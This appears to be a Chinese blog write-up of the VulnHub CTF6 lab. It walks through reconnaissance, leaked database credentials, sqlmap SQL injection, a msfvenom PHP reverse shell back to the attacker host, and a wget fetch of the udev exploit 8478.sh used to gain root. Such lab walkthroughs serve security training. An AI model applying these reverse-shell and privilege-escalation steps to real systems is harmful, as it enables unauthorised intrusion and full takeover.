【精选】vulnhub CTF6 linux udev提权 (青铜门笔记)

2023-12-23 21:07:14

一、信息收集

1.主机探测

发现靶机的IP地址是:192.168.103.130

┌──(root💀kali)-[~]
└─# arp-scan -l

2.访问web页面

发现有个登录的页面,尝试了弱口令,但是发现没有成功;

所以,我们需要在后面的信息收集去挖掘作者留下的信息,这里是个网站,所以运气好的话,目录扫描可以找到有关网站源码的目录文件。

3.目录扫描

扫描到了很多目录,可以都去尝试下

┌──(root??kali)-[~]
└─# dirsearch -u http://192.168.103.130

/phpmyadmin/

尝试弱口令,并没有成功

/docs目录
http://192.168.103.130/docs/

有一个.tgz的压缩包和一个phpinfo.php

网站的根目录也可以找到

压缩包里面,有很多的文件:

发现一个网站的配置文件:config.ini 发现了cms数据库的账号密码

database_pass  =  45kkald?8laLKD
database_user  =  cms_user
database_db  =  cms

发现一个db.sql的文件,里面发现了网站的页面登录的账号密码,看这里面的html内容

很像我开始想尝试弱口令破解的那个登录页面

发现登录成功了(如果你使用的是火狐浏览器,那么这里登录成功后,不会显示别的多余的功能,建议使用Google浏览器)

4.sql注入漏洞

其实这里面还有sql注入的漏洞

点击 read more 按键

这里有参数,猜测是存在sql注入

加上 ' ,发现报错了,说明存在sql注入漏洞

sqlmap一把梭
┌──(root💀kali)-[~]
└─# sqlmap -u "http://192.168.103.130/index.php?id=4" -D cms -T user -C "user_password,user_username" --dump --batch

其实这里,我们可以发现,这里就是我们开始目录扫描发现的网站重点一些配置信息中的db.sql文件里面内容中的账号密码

二、漏洞利用

1.反弹shell

这里,我们先用msfvenom生成一个监听的木马文件,然后把这个木马文件上传

┌──(root💀kali)-[~]
└─# msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.103.129 LPORT=4444 -o shell.php 

##LHOST=192.168.103.129是kali的IP地址

上传木马文件

msf开启监听

use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.103.129

打开上传的木马图片,发现监听成功

2.信息收集

如果shell不成功,可以按Ctrl + x 退出,然后再重新进入shell

发现是普通权限

python -c 'import pty; pty.spawn ("/bin/bash")'  ##交互式shell


发现无法查看/etc/shadow文件,说明这个用户的权限确实低,所以需要进行提权

查看内核版本信息

linux 2.6.18 低版本的,我这里开始看到是linux低版本的,想利用脏牛提权,发现不符合

大家可以上网搜索下,这个内核版本的有哪些漏洞可以用来提权,然后发现linux udev提权方法

bash-3.2$ uname -an
uname -an
Linux localhost.localdomain 2.6.18-92.el5 #1 SMP Tue Jun 10 18:49:47 EDT 2008 i686 i686 i386 GNU/Linux

3.linux udev提权

searchsploit 检索udev漏洞的exp

┌──(root💀kali)-[~/red1]
└─# searchsploit udev 

像这种内核提权漏洞,还是蛮麻烦的,需要一个一个的去尝试

根据linux内核版本,我尝试了第一个和第二个,发现8572.c第二个提权失败

把8478.sh上传到靶机

bash-3.2$ cd /tmp
cd /tmp
bash-3.2$ ls
ls
bash-3.2$ wget http://192.168.103.129:88/8478.sh
wget http://192.168.103.129:88/8478.sh
--07:49:50--  http://192.168.103.129:88/8478.sh
Connecting to 192.168.103.129:88... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3498 (3.4K) [text/x-sh]
Saving to: `8478.sh'

100%[=======================================>] 3,498       --.-K/s   in 0s     

07:49:50 (350 MB/s) - `8478.sh' saved [3498/3498]

bash-3.2$ ls
ls
8478.sh
bash-3.2$ chmod -R 777 8478.sh
chmod -R 777 8478.sh

查看udev的进程号 569 -1 = 568

bash-3.2$ ps aux | grep udev
ps aux | grep udev
root       569  0.0  0.2   2248   680 ?        S<s  05:27   0:00 /sbin/udevd -d
apache    4482  0.0  0.1   1840   480 pts/0    R+   07:53   0:00 grep udev

或者用查看进程:cat /proc/net/netlink 568

bash-3.2$ cat /proc/net/netlink
cat /proc/net/netlink
sk       Eth Pid    Groups   Rmem     Wmem     Dump     Locks
cf873400 0   3125   00000111 0        0        00000000 2
cfebce00 0   0      00000000 0        0        00000000 2
cfc4ca00 6   0      00000000 0        0        00000000 2
cfe78600 7   0      00000000 0        0        00000000 2
cf878600 9   2449   00000000 0        0        00000000 2
cfe66e00 9   0      00000000 0        0        00000000 2
cf557c00 10  0      00000000 0        0        00000000 2
cf514c00 11  0      00000000 0        0        00000000 2
cfebcc00 15  0      00000000 0        0        00000000 2
cfc4c400 15  568    ffffffff 0        0        00000000 2
cf514a00 16  0      00000000 0        0        00000000 2
cf6a9c00 18  0      00000000 0        0        00000000 2

提权,如果这个命令执行失败,可以多执行几次就可以成功了

当$变成#,说明提权成功了

sh-3.2$ ./8478.sh 568
./8478.sh 568
suid.c: In function 'main':
suid.c:3: warning: incompatible implicit declaration of built-in function 'execl'
/usr/bin/ld: cannot open output file /tmp/suid: Permission denied
collect2: ld returned 1 exit status
cp: `libno_ex.so.1.0' and `/tmp/libno_ex.so.1.0' are the same file
sh-3.2# id
id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.2# 

文章来源:https://blog.csdn.net/SENMINGya/article/details/135166386
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。